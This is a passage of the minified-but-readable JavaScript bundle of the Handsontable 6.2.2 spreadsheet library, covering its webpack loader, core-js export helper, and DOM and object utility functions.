OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. * * Version: 6.2.2 * Release date: 19/12/2018 (built at 18/12/2018 14:40:17) */ (function webpackUniversalModuleDefinition(root, factory) { if(typeof exports === 'object' && typeof module === 'object') module.exports = factory(); else if(typeof define === 'function' && define.amd) define("Handsontable", [], factory); else if(typeof exports === 'object') exports["Handsontable"] = factory(); else root["Handsontable"] = factory(); })(typeof self !== 'undefined' ? self : this, function() { return /******/ (function(modules) { // webpackBootstrap /******/ // The module cache /******/ var installedModules = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ /******/ // Check if module is in cache /******/ if(installedModules[moduleId]) { /******/ return installedModules[moduleId].exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = installedModules[moduleId] = { /******/ i: moduleId, /******/ l: false, /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__); /******/ /******/ // Flag the module as loaded /******/ module.l = true; /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /******/ /******/ // expose the modules object (__webpack_modules__) /******/ __webpack_require__.m = modules; /******/ /******/ // expose the module cache /******/ __webpack_require__.c = installedModules; /******/ /******/ // define getter function for harmony exports /******/ __webpack_require__.d = function(exports, name, getter) { /******/ if(!__webpack_require__.o(exports, name)) { /******/ Object.defineProperty(exports, name, { /******/ configurable: false, /******/ enumerable: true, /******/ get: getter /******/ }); /******/ } /******/ }; /******/ /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = function(module) { /******/ var getter = module && module.__esModule ? /******/ function getDefault() { return module['default']; } : /******/ function getModuleExports() { return module; }; /******/ __webpack_require__.d(getter, 'a', getter); /******/ return getter; /******/ }; /******/ /******/ // Object.prototype.hasOwnProperty.call /******/ __webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); }; /******/ /******/ // __webpack_public_path__ /******/ __webpack_require__.p = ""; /******/ /******/ // Load entry module and return exports /******/ return __webpack_require__(__webpack_require__.s = 437); /******/ }) /************************************************************************/ /******/ ([ /* 0 */ /***/ (function(module, exports, __webpack_require__) { var global = __webpack_require__(6); var core = __webpack_require__(21); var hide = __webpack_require__(28); var redefine = __webpack_require__(23); var ctx = __webpack_require__(37); var PROTOTYPE = 'prototype'; var $export = function (type, name, source) { var IS_FORCED = type & $export.F; var IS_GLOBAL = type & $export.G; var IS_STATIC = type & $export.S; var IS_PROTO = type & $export.P; var IS_BIND = type & $export.B; var target = IS_GLOBAL ? global : IS_STATIC ? global[name] || (global[name] = {}) : (global[name] || {})[PROTOTYPE]; var exports = IS_GLOBAL ? core : core[name] || (core[name] = {}); var expProto = exports[PROTOTYPE] || (exports[PROTOTYPE] = {}); var key, own, out, exp; if (IS_GLOBAL) source = name; for (key in source) { // contains in native own = !IS_FORCED && target && target[key] !== undefined; // export native or passed out = (own ? target : source)[key]; // bind timers to global for call from export context exp = IS_BIND && own ? ctx(out, global) : IS_PROTO && typeof out == 'function' ? ctx(Function.call, out) : out; // extend global if (target) redefine(target, key, out, type & $export.U); // export if (exports[key] != out) hide(exports, key, exp); if (IS_PROTO && expProto[key] != out) expProto[key] = out; } }; global.core = core; // type bitmap $export.F = 1; // forced $export.G = 2; // global $export.S = 4; // static $export.P = 8; // proto $export.B = 16; // bind $export.W = 32; // wrap $export.U = 64; // safe $export.R = 128; // real proto method for `library` module.exports = $export; /***/ }), /* 1 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.getParent = getParent; exports.closest = closest; exports.closestDown = closestDown; exports.isChildOf = isChildOf; exports.isChildOfWebComponentTable = isChildOfWebComponentTable; exports.polymerWrap = polymerWrap; exports.polymerUnwrap = polymerUnwrap; exports.index = index; exports.overlayContainsElement = overlayContainsElement; exports.hasClass = hasClass; exports.addClass = addClass; exports.removeClass = removeClass; exports.removeTextNodes = removeTextNodes; exports.empty = empty; exports.fastInnerHTML = fastInnerHTML; exports.fastInnerText = fastInnerText; exports.isVisible = isVisible; exports.offset = offset; exports.getWindowScrollTop = getWindowScrollTop; exports.getWindowScrollLeft = getWindowScrollLeft; exports.getScrollTop = getScrollTop; exports.getScrollLeft = getScrollLeft; exports.getScrollableElement = getScrollableElement; exports.getTrimmingContainer = getTrimmingContainer; exports.getStyle = getStyle; exports.getComputedStyle = getComputedStyle; exports.outerWidth = outerWidth; exports.outerHeight = outerHeight; exports.innerHeight = innerHeight; exports.innerWidth = innerWidth; exports.addEvent = addEvent; exports.removeEvent = removeEvent; exports.getCaretPosition = getCaretPosition; exports.getSelectionEndPosition = getSelectionEndPosition; exports.getSelectionText = getSelectionText; exports.setCaretPosition = setCaretPosition; exports.getScrollbarWidth = getScrollbarWidth; exports.hasVerticalScrollbar = hasVerticalScrollbar; exports.hasHorizontalScrollbar = hasHorizontalScrollbar; exports.setOverlayPosition = setOverlayPosition; exports.getCssTransform = getCssTransform; exports.resetCssTransform = resetCssTransform; exports.isInput = isInput; exports.isOutsideInput = isOutsideInput; exports.HTML_CHARACTERS = void 0; var _browser = __webpack_require__(42); var _feature = __webpack_require__(47); function _toConsumableArray(arr) { return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _nonIterableSpread(); } function _nonIterableSpread() { throw new TypeError("Invalid attempt to spread non-iterable instance"); } function _iterableToArray(iter) { if (Symbol.iterator in Object(iter) || Object.prototype.toString.call(iter) === "[object Arguments]") return Array.from(iter); } function _arrayWithoutHoles(arr) { if (Array.isArray(arr)) { for (var i = 0, arr2 = new Array(arr.length); i < arr.length; i++) { arr2[i] = arr[i]; } return arr2; } } /** * Get the parent of the specified node in the DOM tree. * * @param {HTMLElement} element Element from which traversing is started. * @param {Number} [level=0] Traversing deep level. * @return {HTMLElement|null} */ function getParent(element) { var level = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0; var iteration = -1; var parent = null; var elementToCheck = element; while (elementToCheck !== null) { if (iteration === level) { parent = elementToCheck; break; } if (elementToCheck.host && elementToCheck.nodeType === Node.DOCUMENT_FRAGMENT_NODE) { elementToCheck = elementToCheck.host; } else { iteration += 1; elementToCheck = elementToCheck.parentNode; } } return parent; } /** * Goes up the DOM tree (including given element) until it finds an element that matches the nodes or nodes name. * This method goes up through web components. * * @param {HTMLElement} element Element from which traversing is started * @param {Array} nodes Array of elements or Array of elements name * @param {HTMLElement} [until] * @returns {HTMLElement|null} */ function closest(element, nodes, until) { var elementToCheck = element; while (elementToCheck !== null && elementToCheck !== until) { if (elementToCheck.nodeType === Node.ELEMENT_NODE && (nodes.indexOf(elementToCheck.nodeName) > -1 || nodes.indexOf(elementToCheck) > -1)) { return elementToCheck; } if (elementToCheck.host && elementToCheck.nodeType === Node.DOCUMENT_FRAGMENT_NODE) { elementToCheck = elementToCheck.host; } else { elementToCheck = elementToCheck.parentNode; } } return null; } /** * Goes "down" the DOM tree (including given element) until it finds an element that matches the nodes or nodes name. * * @param {HTMLElement} element Element from which traversing is started * @param {Array} nodes Array of elements or Array of elements name * @param {HTMLElement} [until] * @returns {HTMLElement|null} */ function closestDown(element, nodes, until) { var matched = []; var elementToCheck = element; while (elementToCheck) { elementToCheck = closest(elementToCheck, nodes, until); if (!elementToCheck || until && !until.contains(elementToCheck)) { break; } matched.push(elementToCheck); if (elementToCheck.host && elementToCheck.nodeType === Node.DOCUMENT_FRAGMENT_NODE) { elementToCheck = elementToCheck.host; } else { elementToCheck = elementToCheck.parentNode; } } var length = matched.length; return length ? matched[length - 1] : null; } /** * Goes up the DOM tree and checks if element is child of another element. * * @param child Child element * @param {Object|String} parent Parent element OR selector of the parent element. * If string provided, function returns `true` for the first occurrence of element with that class. * @returns {Boolean} */ function isChildOf(child, parent) { var node = child.parentNode; var queriedParents = []; if (typeof parent === 'string') { queriedParents = Array.prototype.slice.call(document.querySelectorAll(parent), 0); } else { queriedParents.push(parent); } while (node !== null) { if (queriedParents.indexOf(node) > -1) { return true; } node = node.parentNode; } return false; } /** * Check if an element is part of `hot-table` web component. * * @param {Element} element * @returns {Boolean} */ function isChildOfWebComponentTable(element) { var hotTableName = 'hot-table'; var result = false; var parentNode = polymerWrap(element); function isHotTable(testElement) { return testElement.nodeType === Node.ELEMENT_NODE && testElement.nodeName === hotTableName.toUpperCase(); } while (parentNode !== null) { if (isHotTable(parentNode)) { result = true; break; } else if (parentNode.host && parentNode.nodeType === Node.DOCUMENT_FRAGMENT_NODE) { result = isHotTable(parentNode.host); if (result) { break; } parentNode = parentNode.host; } parentNode = parentNode.parentNode; } return result; } /* global Polymer wrap unwrap */ /** * Wrap element into polymer/webcomponent container if exists * * @param element * @returns {*} */ function polymerWrap(element) { return typeof Polymer !== 'undefined' && typeof wrap === 'function' ? wrap(element) : element; } /** * Unwrap element from polymer/webcomponent container if exists * * @param element * @returns {*} */ function polymerUnwrap(element) { return typeof Polymer !== 'undefined' && typeof unwrap === 'function' ? unwrap(element) : element; } /** * Counts index of element within its parent * WARNING: for performance reasons, assumes there are only element nodes (no text nodes). This is true for Walkotnable * Otherwise would need to check for nodeType or use previousElementSibling * * @see http://jsperf.com/sibling-index/10 * @param {Element} element * @return {Number} */ function index(element) { var i = 0; var elementToCheck = element; if (elementToCheck.previousSibling) { /* eslint-disable no-cond-assign */ while (elementToCheck = elementToCheck.previousSibling) { i += 1; } } return i; } /** * Check if the provided overlay contains the provided element * * @param {String} overlay * @param {HTMLElement} element * @returns {boolean} */ function overlayContainsElement(overlayType, element) { var overlayElement = document.querySelector(".ht_clone_".concat(overlayType)); return overlayElement ? overlayElement.contains(element) : null; } var classListSupport = !!document.documentElement.classList; var _hasClass; var _addClass; var _removeClass; function filterEmptyClassNames(classNames) { var result = []; if (!classNames || !classNames.length) { return result; } var len = 0; while (classNames[len]) { result.push(classNames[len]); len += 1; } return result; } if (classListSupport) { var isSupportMultipleClassesArg = function () { var element = document.createElement('div'); element.classList.add('test', 'test2'); return element.classList.contains('test2'); }(); _hasClass = function _hasClass(element, className) { if (element.classList === void 0 || typeof className !== 'string' || className === '') { return false; } return element.classList.contains(className); }; _addClass = function _addClass(element, classes) { var className = classes; if (typeof className === 'string') { className = className.split(' '); } className = filterEmptyClassNames(className); if (className.length > 0) { if (isSupportMultipleClassesArg) { var _element$classList; (_element$classList = element.classList).add.apply(_element$classList, _toConsumableArray(className)); } else { var len = 0; while (className && className[len]) { element.classList.add(className[len]); len += 1; } } } }; _removeClass = function _removeClass(element, classes) { var className = classes; if (typeof className === 'string') { className = className.split(' '); } className = filterEmptyClassNames(className); if (className.length > 0) { if (isSupportMultipleClassesArg) { var _element$classList2; (_element$classList2 = element.classList).remove.apply(_element$classList2, _toConsumableArray(className)); } else { var len = 0; while (className && className[len]) { element.classList.remove(className[len]); len += 1; } } } }; } else { var createClassNameRegExp = function createClassNameRegExp(className) { return new RegExp("(\\s|^)".concat(className, "(\\s|$)")); }; _hasClass = function _hasClass(element, className) { // http://snipplr.com/view/3561/addclass-removeclass-hasclass/ return element.className !== void 0 && createClassNameRegExp(className).test(element.className); }; _addClass = function _addClass(element, classes) { var len = 0; var _className = element.className; var className = classes; if (typeof className === 'string') { className = className.split(' '); } if (_className === '') { _className = className.join(' '); } else { while (className && className[len]) { if (!createClassNameRegExp(className[len]).test(_className)) { _className += " ".concat(className[len]); } len += 1; } } element.className = _className; }; _removeClass = function _removeClass(element, classes) { var len = 0; var _className = element.className; var className = classes; if (typeof className === 'string') { className = className.split(' '); } while (className && className[len]) { // String.prototype.trim is defined in polyfill.js _className = _className.replace(createClassNameRegExp(className[len]), ' ').trim(); len += 1; } if (element.className !== _className) { element.className = _className; } }; } /** * Checks if element has class name * * @param {HTMLElement} element * @param {String} className Class name to check * @returns {Boolean} */ function hasClass(element, className) { return _hasClass(element, className); } /** * Add class name to an element * * @param {HTMLElement} element * @param {String|Array} className Class name as string or array of strings */ function addClass(element, className) { return _addClass(element, className); } /** * Remove class name from an element * * @param {HTMLElement} element * @param {String|Array} className Class name as string or array of strings */ function removeClass(element, className) { return _removeClass(element, className); } function removeTextNodes(element, parent) { if (element.nodeType === 3) { parent.removeChild(element); // bye text nodes! } else if (['TABLE', 'THEAD', 'TBODY', 'TFOOT', 'TR'].indexOf(element.nodeName) > -1) { var childs = element.childNodes; for (var i = childs.length - 1; i >= 0; i--) { removeTextNodes(childs[i], element); } } } /** * Remove childs function * WARNING - this doesn't unload events and data attached by jQuery * http://jsperf.com/jquery-html-vs-empty-vs-innerhtml/9 * http://jsperf.com/jquery-html-vs-empty-vs-innerhtml/11 - no siginificant improvement with Chrome remove() method * * @param element * @returns {void} */ // function empty(element) { var child; /* eslint-disable no-cond-assign */ while (child = element.lastChild) { element.removeChild(child); } } var HTML_CHARACTERS = /(<(.*)>|&(.*);)/; /** * Insert content into element trying avoid innerHTML method. * @return {void} */ exports.HTML_CHARACTERS = HTML_CHARACTERS; function fastInnerHTML(element, content) { if (HTML_CHARACTERS.test(content)) { element.innerHTML = content; } else { fastInnerText(element, content); } } /** * Insert text content into element * @return {void} */ var textContextSupport = !!document.createTextNode('test').textContent; function fastInnerText(element, content) { var child = element.firstChild; if (child && child.nodeType === 3 && child.nextSibling === null) { // fast lane - replace existing text node if (textContextSupport) { // http://jsperf.com/replace-text-vs-reuse child.textContent = content; } else { // http://jsperf.com/replace-text-vs-reuse child.data = content; } } else { // slow lane - empty element and insert a text node empty(element); element.appendChild(document.createTextNode(content)); } } /** * Returns true if element is attached to the DOM and visible, false otherwise * @param elem * @returns {boolean} */ function isVisible(elem) { var next = elem; while (polymerUnwrap(next) !== document.documentElement) { // until reached if (next === null) { // parent detached from DOM return false; } else if (next.nodeType === Node.DOCUMENT_FRAGMENT_NODE) { if (next.host) { // this is Web Components Shadow DOM // see: http://w3c.github.io/webcomponents/spec/shadow/#encapsulation // according to spec, should be if (next.ownerDocument !== window.document), but that doesn't work yet if (next.host.impl) { // Chrome 33.0.1723.0 canary (2013-11-29) Web Platform features disabled return isVisible(next.host.impl); } else if (next.host) { // Chrome 33.0.1723.0 canary (2013-11-29) Web Platform features enabled return isVisible(next.host); } throw new Error('Lost in Web Components world'); } else { return false; // this is a node detached from document in IE8 } } else if (next.style.display === 'none') { return false; } next = next.parentNode; } return true; } /** * Returns elements top and left offset relative to the document. Function is not compatible with jQuery offset. * * @param {HTMLElement} elem * @return {Object} Returns object with `top` and `left` props */ function offset(elem) { var docElem = document.documentElement; var elementToCheck = elem; var offsetLeft; var offsetTop; var lastElem; var box; if ((0, _feature.hasCaptionProblem)() && elementToCheck.firstChild && elementToCheck.firstChild.nodeName === 'CAPTION') { // fixes problem with Firefox ignoring in TABLE offset (see also export outerHeight) // http://jsperf.com/offset-vs-getboundingclientrect/8 box = elementToCheck.getBoundingClientRect(); return { top: box.top + (window.pageYOffset || docElem.scrollTop) - (docElem.clientTop || 0), left: box.left + (window.pageXOffset || docElem.scrollLeft) - (docElem.clientLeft || 0) }; } offsetLeft = elementToCheck.offsetLeft; offsetTop = elementToCheck.offsetTop; lastElem = elementToCheck; /* eslint-disable no-cond-assign */ while (elementToCheck = elementToCheck.offsetParent) { // from my observation, document.body always has scrollLeft/scrollTop == 0 if (elementToCheck === document.body) { break; } offsetLeft += elementToCheck.offsetLeft; offsetTop += elementToCheck.offsetTop; lastElem = elementToCheck; } // slow - http://jsperf.com/offset-vs-getboundingclientrect/6 if (lastElem && lastElem.style.position === 'fixed') { // if(lastElem !== document.body) { //faster but does gives false positive in Firefox offsetLeft += window.pageXOffset || docElem.scrollLeft; offsetTop += window.pageYOffset || docElem.scrollTop; } return { left: offsetLeft, top: offsetTop }; } /** * Returns the document's scrollTop property. * * @returns {Number} */ function getWindowScrollTop() { var res = window.scrollY; if (res === void 0) { // IE8-11 res = document.documentElement.scrollTop; } return res; } /** * Returns the document's scrollLeft property. * * @returns {Number} */ function getWindowScrollLeft() { var res = window.scrollX; if (res === void 0) { // IE8-11 res = document.documentElement.scrollLeft; } return res; } /** * Returns the provided element's scrollTop property. * * @param element * @returns {Number} */ function getScrollTop(element) { if (element === window) { return getWindowScrollTop(); } return element.scrollTop; } /** * Returns the provided element's scrollLeft property. * * @param element * @returns {Number} */ function getScrollLeft(element) { if (element === window) { return getWindowScrollLeft(); } return element.scrollLeft; } /** * Returns a DOM element responsible for scrolling of the provided element. * * @param {HTMLElement} element * @returns {HTMLElement} Element's scrollable parent */ function getScrollableElement(element) { var props = ['auto', 'scroll']; var el = element.parentNode; var overflow; var overflowX; var overflowY; var computedStyle = ''; var computedOverflow = ''; var computedOverflowY = ''; var computedOverflowX = ''; while (el && el.style && document.body !== el) { overflow = el.style.overflow; overflowX = el.style.overflowX; overflowY = el.style.overflowY; if (overflow === 'scroll' || overflowX === 'scroll' || overflowY === 'scroll') { return el; } else if (window.getComputedStyle) { computedStyle = window.getComputedStyle(el); computedOverflow = computedStyle.getPropertyValue('overflow'); computedOverflowY = computedStyle.getPropertyValue('overflow-y'); computedOverflowX = computedStyle.getPropertyValue('overflow-x'); if (computedOverflow === 'scroll' || computedOverflowX === 'scroll' || computedOverflowY === 'scroll') { return el; } } // The '+ 1' after the scrollHeight/scrollWidth is to prevent problems with zoomed out Chrome. if (el.clientHeight <= el.scrollHeight + 1 && (props.indexOf(overflowY) !== -1 || props.indexOf(overflow) !== -1 || props.indexOf(computedOverflow) !== -1 || props.indexOf(computedOverflowY) !== -1)) { return el; } if (el.clientWidth <= el.scrollWidth + 1 && (props.indexOf(overflowX) !== -1 || props.indexOf(overflow) !== -1 || props.indexOf(computedOverflow) !== -1 || props.indexOf(computedOverflowX) !== -1)) { return el; } el = el.parentNode; } return window; } /** * Returns a DOM element responsible for trimming the provided element. * * @param {HTMLElement} base Base element * @returns {HTMLElement} Base element's trimming parent */ function getTrimmingContainer(base) { var el = base.parentNode; while (el && el.style && document.body !== el) { if (el.style.overflow !== 'visible' && el.style.overflow !== '') { return el; } var computedStyle = getComputedStyle(el); var allowedProperties = ['scroll', 'hidden', 'auto']; var property = computedStyle.getPropertyValue('overflow'); var propertyY = computedStyle.getPropertyValue('overflow-y'); var propertyX = computedStyle.getPropertyValue('overflow-x'); if (allowedProperties.includes(property) || allowedProperties.includes(propertyY) || allowedProperties.includes(propertyX)) { return el; } el = el.parentNode; } return window; } /** * Returns a style property for the provided element. (Be it an inline or external style). * * @param {HTMLElement} element * @param {String} prop Wanted property * @returns {String|undefined} Element's style property */ function getStyle(element, prop) { /* eslint-disable */ if (!element) { return; } else if (element === window) { if (prop === 'width') { return window.innerWidth + 'px'; } else if (prop === 'height') { return window.innerHeight + 'px'; } return; } var styleProp = element.style[prop], computedStyle; if (styleProp !== '' && styleProp !== void 0) { return styleProp; } else { computedStyle = getComputedStyle(element); if (computedStyle[prop] !== '' && computedStyle[prop] !== void 0) { return computedStyle[prop]; } } } /** * Returns a computed style object for the provided element. (Needed if style is declared in external stylesheet). * * @param element * @returns {IEElementStyle|CssStyle} Elements computed style object */ function getComputedStyle(element) { return element.currentStyle || document.defaultView.getComputedStyle(element); } /** * Returns the element's outer width. * * @param element * @returns {number} Element's outer width */ function outerWidth(element) { return element.offsetWidth; } /** * Returns the element's outer height * * @param elem * @returns {number} Element's outer height */ function outerHeight(elem) { if ((0, _feature.hasCaptionProblem)() && elem.firstChild && elem.firstChild.nodeName === 'CAPTION') { // fixes problem with Firefox ignoring in TABLE.offsetHeight // jQuery (1.10.1) still has this unsolved // may be better to just switch to getBoundingClientRect // http://bililite.com/blog/2009/03/27/finding-the-size-of-a-table/ // http://lists.w3.org/Archives/Public/www-style/2009Oct/0089.html // http://bugs.jquery.com/ticket/2196 // http://lists.w3.org/Archives/Public/www-style/2009Oct/0140.html#start140 return elem.offsetHeight + elem.firstChild.offsetHeight; } return elem.offsetHeight; } /** * Returns the element's inner height. * * @param element * @returns {number} Element's inner height */ function innerHeight(element) { return element.clientHeight || element.innerHeight; } /** * Returns the element's inner width. * * @param element * @returns {number} Element's inner width */ function innerWidth(element) { return element.clientWidth || element.innerWidth; } function addEvent(element, event, callback) { if (window.addEventListener) { element.addEventListener(event, callback, false); } else { element.attachEvent('on' + event, callback); } } function removeEvent(element, event, callback) { if (window.removeEventListener) { element.removeEventListener(event, callback, false); } else { element.detachEvent('on' + event, callback); } } /** * Returns caret position in text input * * @author http://stackoverflow.com/questions/263743/how-to-get-caret-position-in-textarea * @return {Number} */ function getCaretPosition(el) { if (el.selectionStart) { return el.selectionStart; } else if (document.selection) { // IE8 el.focus(); var r = document.selection.createRange(); if (r == null) { return 0; } var re = el.createTextRange(); var rc = re.duplicate(); re.moveToBookmark(r.getBookmark()); rc.setEndPoint('EndToStart', re); return rc.text.length; } return 0; } /** * Returns end of the selection in text input * * @return {Number} */ function getSelectionEndPosition(el) { if (el.selectionEnd) { return el.selectionEnd; } else if (document.selection) { // IE8 var r = document.selection.createRange(); if (r == null) { return 0; } var re = el.createTextRange(); return re.text.indexOf(r.text) + r.text.length; } return 0; } /** * Returns text under selection. * * @returns {String} */ function getSelectionText() { var text = ''; if (window.getSelection) { text = window.getSelection().toString(); } else if (document.selection && document.selection.type !== 'Control') { text = document.selection.createRange().text; } return text; } /** * Sets caret position in text input. * * @author http://blog.vishalon.net/index.php/javascript-getting-and-setting-caret-position-in-textarea/ * @param {Element} element * @param {Number} pos * @param {Number} endPos */ function setCaretPosition(element, pos, endPos) { if (endPos === void 0) { endPos = pos; } if (element.setSelectionRange) { element.focus(); try { element.setSelectionRange(pos, endPos); } catch (err) { var elementParent = element.parentNode; var parentDisplayValue = elementParent.style.display; elementParent.style.display = 'block'; element.setSelectionRange(pos, endPos); elementParent.style.display = parentDisplayValue; } } else if (element.createTextRange) { // IE8 var range = element.createTextRange(); range.collapse(true); range.moveEnd('character', endPos); range.moveStart('character', pos); range.select(); } } var cachedScrollbarWidth; // http://stackoverflow.com/questions/986937/how-can-i-get-the-browsers-scrollbar-sizes function walkontableCalculateScrollbarWidth() { var inner = document.createElement('div'); inner.style.height = '200px'; inner.style.width = '100%'; var outer = document.createElement('div'); outer.style.boxSizing = 'content-box'; outer.style.height = '150px'; outer.style.left = '0px'; outer.style.overflow = 'hidden'; outer.style.position = 'absolute'; outer.style.top = '0px'; outer.style.width = '200px'; outer.style.visibility = 'hidden'; outer.appendChild(inner); (document.body || document.documentElement).appendChild(outer); var w1 = inner.offsetWidth; outer.style.overflow = 'scroll'; var w2 = inner.offsetWidth; if (w1 == w2) { w2 = outer.clientWidth; } (document.body || document.documentElement).removeChild(outer); return w1 - w2; } /** * Returns the computed width of the native browser scroll bar. * * @return {Number} width */ function getScrollbarWidth() { if (cachedScrollbarWidth === void 0) { cachedScrollbarWidth = walkontableCalculateScrollbarWidth(); } return cachedScrollbarWidth; } /** * Checks if the provided element has a vertical scrollbar. * * @param {HTMLElement} element * @returns {Boolean} */ function hasVerticalScrollbar(element) { return element.offsetWidth !== element.clientWidth; } /** * Checks if the provided element has a vertical scrollbar. * * @param {HTMLElement} element * @returns {Boolean} */ function hasHorizontalScrollbar(element) { return element.offsetHeight !== element.clientHeight; } /** * Sets overlay position depending on it's type and used browser */ function setOverlayPosition(overlayElem, left, top) { if ((0, _browser.isIE8)() || (0, _browser.isIE9)()) { overlayElem.style.top = top; overlayElem.style.left = left; } else if ((0, _browser.isSafari)()) { overlayElem.style['-webkit-transform'] = 'translate3d(' + left + ',' + top + ',0)'; } else { overlayElem.style.transform = 'translate3d(' + left + ',' + top + ',0)'; } } function getCssTransform(element) { var transform; if (element.style.transform && (transform = element.style.transform) !== '') { return ['transform', transform]; } else if (element.style['-webkit-transform'] && (transform = element.style['-webkit-transform']) !== '') { return ['-webkit-transform', transform]; } return -1; } function resetCssTransform(element) { if (element.style.transform && element.style.transform !== '') { element.style.transform = ''; } else if (element.style['-webkit-transform'] && element.style['-webkit-transform'] !== '') { element.style['-webkit-transform'] = ''; } } /** * Determines if the given DOM element is an input field. * Notice: By 'input' we mean input, textarea and select nodes * * @param {HTMLElement} element - DOM element * @returns {Boolean} */ function isInput(element) { var inputs = ['INPUT', 'SELECT', 'TEXTAREA']; return element && (inputs.indexOf(element.nodeName) > -1 || element.contentEditable === 'true'); } /** * Determines if the given DOM element is an input field placed OUTSIDE of HOT. * Notice: By 'input' we mean input, textarea and select nodes * * @param {HTMLElement} element - DOM element * @returns {Boolean} */ function isOutsideInput(element) { return isInput(element) && element.className.indexOf('handsontableInput') == -1 && element.className.indexOf('copyPaste') == -1; } /***/ }), /* 2 */ /***/ (function(module, exports, __webpack_require__) { "use strict"; exports.__esModule = true; exports.duckSchema = duckSchema; exports.inherit = inherit; exports.extend = extend; exports.deepExtend = deepExtend; exports.deepClone = deepClone; exports.clone = clone; exports.mixin = mixin; exports.isObjectEqual = isObjectEqual; exports.isObject = isObject; exports.defineGetter = defineGetter; exports.objectEach = objectEach; exports.getProperty = getProperty; exports.deepObjectSize = deepObjectSize; exports.createObjectPropListener = createObjectPropListener; exports.hasOwnProperty = hasOwnProperty; var _array = __webpack_require__(3); function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } function _typeof(obj) { if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } /** * Generate schema for passed object. * * @param {Array|Object} object * @returns {Array|Object} */ function duckSchema(object) { var schema; if (Array.isArray(object)) { schema = []; } else { schema = {}; objectEach(object, function (value, key) { if (key === '__children') { return; } if (value && _typeof(value) === 'object' && !Array.isArray(value)) { schema[key] = duckSchema(value); } else if (Array.isArray(value)) { if (value.length && _typeof(value[0]) === 'object' && !Array.isArray(value[0])) { schema[key] = [duckSchema(value[0])]; } else { schema[key] = []; } } else { schema[key] = null; } }); } return schema; } /** * Inherit without without calling parent constructor, and setting `Child.prototype.constructor` to `Child` instead of `Parent`. * Creates temporary dummy function to call it as constructor. * Described in ticket: https://github.com/handsontable/handsontable/pull/516 * * @param {Object} Child child class * @param {Object} Parent parent class * @return {Object} extended Child */ function inherit(Child, Parent) { Parent.prototype.constructor = Parent; Child.prototype = new Parent(); Child.prototype.constructor = Child; return Child; } /** * Perform shallow extend of a target object with extension's own properties. * * @param {Object} target An object that will receive the new properties. * @param {Object} extension An object containing additional properties to merge into the target. */ function extend(target, extension) { objectEach(extension, function (value, key) { target[key] = value; }); return target; } /** * Perform deep extend of a target object with extension's own properties. * * @param {Object} target An object that will receive the new properties. * @param {Object} extension An object containing additional properties to merge into the target. */ function deepExtend(target, extension) { objectEach(extension, function (value, key) { if (extension[key] && _typeof(extension[key]) === 'object') { if (!target[key]) { if (Array.isArray(extension[key])) { target[key] = []; } else if (Object.prototype.toString.call(extension[key]) === '[object Date]') { target[key] = extension[key]; } else { target[key] = {}; } } deepExtend(target[key], extension[key]); } else { target[key] = extension[key]; } }); } /** * Perform deep clone of an object. * WARNING! Only clones JSON properties. Will cause error when `obj` contains a function, Date, etc. * * @param {Object} obj An object that will be cloned * @return {Object} */ function deepClone(obj) { if (_typeof(obj) === 'object') { return JSON.parse(JSON.stringify(obj)); } return obj; } /** * Shallow clone object. * * @param {Object} object * @returns {Object} */ function clone(object) { var result = {}; objectEach(object, function (value, key) { result[key] = value; }); return result; } /** * Extend the Base object (usually prototype) of the functionality the `mixins` objects. * * @param {Object} Base Base object which will be extended. * @param {Object} mixins The object of the functionality will be "copied". * @returns {Object} */ function mixin(Base) { if (!Base.MIXINS) { Base.MIXINS = []; } for (var _len = arguments.length, mixins = new Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) { mixins[_key - 1] = arguments[_key]; } (0, _array.arrayEach)(mixins, function (mixinItem) { Base.MIXINS.push(mixinItem.MIXIN_NAME); objectEach(mixinItem, function (value, key) { if (Base.prototype[key] !== void 0) { throw new Error("Mixin conflict. Property '".concat(key, "' already exist and cannot be overwritten.")); } if (typeof value === 'function') { Base.prototype[key] = value; } else { var getter = function _getter(property, initialValue) { var propertyName = "_".concat(property); var initValue = function initValue(newValue) { var result = newValue; if (Array.isArray(result) || isObject(result)) { result = deepClone(result); } return result; }; return function () { if (this[propertyName] === void 0) { this[propertyName] = initValue(initialValue); } return this[propertyName]; }; }; var setter = function _setter(property) { var propertyName = "_".concat(property); return function (newValue) { this[propertyName] = newValue; }; }; Object.defineProperty(Base.prototype, key, { get: getter(key, value), set: setter(key), configurable: true }); } }); }); return Base; } /** * Checks if two objects or arrays are (deep) equal * * @param {Object|Array} object1 * @param {Object|Array} object2 * @returns {Boolean} */ function isObjectEqual(object1, object2) { return JSON.stringify(object1) === JSON.stringify(object2); } /** * Determines whether given object is a plain Object. * Note: String and Array are not plain Objects * @param {*} obj * @returns {boolean} */ function isObject(obj) { return Object.prototype.toString.call(obj) === '[object Object]'; } function defineGetter(object, property, value, options) { options.value = value; options.writable = options.writable !== false; options.enumerable = options.enumerable !== false; options.configurable = options.configurable !== false; Object.defineProperty(object, property, options); } /** * A specialized version of `.forEach` for objects. * * @param {Object} object The object to iterate over. * @param {Function} iteratee The function invoked per iteration. * @returns {Object} Returns `object`. */ function objectEach(object, iteratee) { // eslint-disable-next-line no-restricted-syntax for (var key in object) { if (!object.hasOwnProperty || object.hasOwnProperty && Object.prototype.hasOwnProperty.call(object, key)) { if (iteratee(object[key], key, object) === false) { break; } } } return object; } /** * Get object property by its name. Access to sub properties can be achieved by dot notation (e.q. `'foo.bar.baz'`). * * @param {Object} object Object which value will be exported. * @param {String} name 